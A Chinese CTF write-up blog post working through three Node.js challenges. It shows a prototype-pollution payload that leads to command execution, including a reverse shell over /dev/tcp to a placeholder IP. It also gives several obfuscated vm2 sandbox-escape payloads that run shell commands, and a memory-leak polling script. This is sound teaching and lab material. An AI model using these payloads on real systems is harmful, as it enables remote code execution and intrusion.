BUU刷题记录-Nodejs漏洞学习

[GYCTF2020]Ez_Express

首页一个登录框和一个提示框,提示框内容:

友情提示
如果您还不是会员,请注册
用户名只支持大写
请使用ADMIN登录

Node.js 常见漏洞学习与总结文章中描述了javascript大小写特性

对于toUpperCase(): 字符"ı""ſ" 经过toUpperCase处理后结果为 "I""S"\

对于toLowerCase(): 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

注册账号ADMıN之后,又给了一个提示框:

Hint: Hello,ADMIN ,flag in /flag

且源码提示/www.zip存在源码泄露。

审计一波,在index.js代码文件发现了merge函数,Node.js 常见漏洞学习与总结文章中同样总结merge函数,考点是原型链污染

继续寻找,路由/action中调用了merge函数:

1
2
3
4
5
router.post('/action', function (req, res) {
  if(req.session.user.user!="ADMIN"){res.end("<script>alert('ADMIN is asked');history.go(-1);</script>")}
  req.session.user.data = clone(req.body);
  res.end("<script>alert('success');history.go(-1);</script>");  
});

但是这里并没有执行命令和回显字段的函数,所以继续向下寻找,在/info找到了利用点:

1
2
3
router.get('/info', function (req, res) {
  res.render('index',data={'user':res.outputFunctionName});
})

老朋友render,将内容渲染到index,且

1
res.outputFunctionName=undefined;

我们可以利用这个去实现污染,抓包/action,将Content-Type改成application/json,发送payload。

payload

1
2
3
4
// 回显字符串
{"lua":"a","__proto__":{"outputFunctionName":"t=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()//"},"Submit":""}
// 弹shell
{"__proto__":{"outputFunctionName":"a=1;global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/IP/port 0>&1\"')//"}}

疑问:

  1. 为什么第一个payload中的t=1;不加就会报语法错误,不知道是不是只有return导致函数结构不完整(加了t=1;也不完整。。。);(未解决)
  2. execSyncexec替代时会回显[object Object],而该对象的属性中并没有执行我们传入的的系统命令。

两个函数在Nodejs文档中这样介绍:
      child_process.exec() 返回: <ChildProcess>
      child_process.execSync() 返回: <Buffer> | <string> 命令的 stdout。

[HFCTF2020]JustEscape

主页面提示信息:

真的是 PHP 嘛 \

      再结合前面的new%20Date(),本地php尝试一波发现不存在Date类(不排除出题人定义了一个Date类,但是这样不是浪费时间嘛),百度一下new%20Date(),输出的都是Js的内容,应该确定了考点就是Js。

接下来访问run.php,得到源码:

1
2
3
4
5
6
7
8
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
    $code = $_GET['code'];
    echo eval(code);
} else {
    highlight_file(__FILE__);
}
?>

看到这有点迷惑,难道猜错了?搜了一下才知道原来Js也有eval函数,现在完全确定这就是Js。

      输入引号后回显hacking,存在waf,就不fuzz了。参考Node.js code injection (RCE)数组绕过方法,使用常规payload:require('child_process').exec('ls');,回显ReferenceError: require is not defined,没思路了,看wp

输入Error().stack,回显错误信息:

VM.run (/app/node_modules/vm2/lib/main.js:219:62)

研究一下为什么会用Error().stack

Error().stack可以分为两个过程:

  1. 实例化Error类
  2. 调用stack方法

同理,new Error().stack也能够回显相同内容。

介绍一下Error类
      Error 对象会捕获堆栈跟踪,详细说明实例化 Error 的代码点,并可能提供错误的文本描述。
      详细说明实例化 Error 的代码点这个功能提供了返回代码信息甚至文件信息的可能性。
接下来介绍stack属性
      Error.captureStackTrace(targetObject[, constructorOpt])方法在 targetObject 上创建一个 .stack 属性当访问时返回一个表示代码中调用 Error.captureStackTrace() 的位置的字符串
      也就是说当我们实例化Error类并调用stack属性时,我们会得到调用 Error.captureStackTrace() 的位置的字符串,也就是代码的部分信息。

言归正传,从回显内容我们能发现使用的是vm2,上payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// payload1 -- 改自vm2-3.83版本的逃逸代码
try{
  Buffer.from(new Proxy({},{
    getOwnPropertyDescriptor(){
      throw f=>f.constructor("return process")();
    }
  }));
}catch(e){
  e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
}
// 此方法需要配合上面提到的数组绕过方法,否则引号会被waf。

// payload2 -- 反引号替代引号;${}拼接字符串,引入变量
(function (){
    TypeError[`${`${`prototyp`}e`}`][`${`${`get_pro`}cess`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_pro`}cess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`ls /`).toString();
    }
})()

// payload3 -- 使用join拼接字符串
(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat /flag`)[`toString`](); } })()

[HITCON 2016]Leaking

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
    VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
    res.header("Content-Type", "text/plain");

    /*    Orange is so kind so he put the flag here. But if you can guess correctly :P    */
    eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
    if (req.query.data && req.query.data.length <= 12) {
        var vm = new VM({
            timeout: 1000
        });
        console.log(req.query.data);
        res.send("eval ->" + vm.run(req.query.data));
    } else {
        res.send(fs.readFileSync(__filename).toString());
    }
});

app.listen(3000, function() {
    console.log("listening on port 3000!");
});

主页面GET传参data,通过数组绕过长度判断。

方法一 - vm2逃逸

[HFCTF2020]JustEscape的payload就行,

payload

1
?data[]=(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat /app/config.js`)[`toString`](); } })()

方法二 - Buffer读取

来自[HITCON 2016]Leaking 记录

低版本的node可以使用buffer()来查看内存,只要调用过的变量,都会存在内存中,那么我们可以构造paylaod读取内存。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import requests
import time
url = 'http://19a931b5-2f8a-42c4-b400-20ba417d6a4f.node3.buuoj.cn/?data=Buffer(500)'

while True:
        r = requests.get(url)

        time.sleep(0.1)
        print('trying')
        if 'flag{' in r.text:
            print(r.text)
            break